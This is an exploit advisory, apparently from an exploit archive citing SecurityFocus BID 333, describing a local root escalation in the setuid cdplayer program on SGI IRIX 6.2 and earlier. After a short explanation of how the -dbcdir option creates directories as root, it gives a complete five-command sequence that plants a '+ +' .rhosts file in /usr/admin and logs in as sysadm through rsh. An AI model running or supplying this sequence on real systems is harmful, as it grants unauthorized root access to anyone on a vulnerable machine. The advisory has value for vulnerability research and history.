SGI IRIX <= 6.2 cdplayer Vulnerability

                                                source: http://www.securityfocus.com/bid/333/info

A vulnerability exists in the /usr/bin/X11/cdplayer application as shipped with SGI's IRIX operating system. By failing to shed root privileges, and creating arbitrary directories as root, cdplayer allows arbitrary users to gain root on the system.

The -dbcdir option to cdplayer specifies the directory to store information kept by cdplayer. This can be used to create arbitrary directories. By creating a directory belonging to an account whose home directory does not exist, creating a .rhosts file in this directory, and chowning the rhosts file to the account being attacked, any user on the system can obtain root status.

umask 000
cdplayer -dbcdir /usr/admin/
echo "+ +" > /usr/admin/.rhosts
chown root.sys /usr/admin/.rhosts
rsh localhost -l sysadm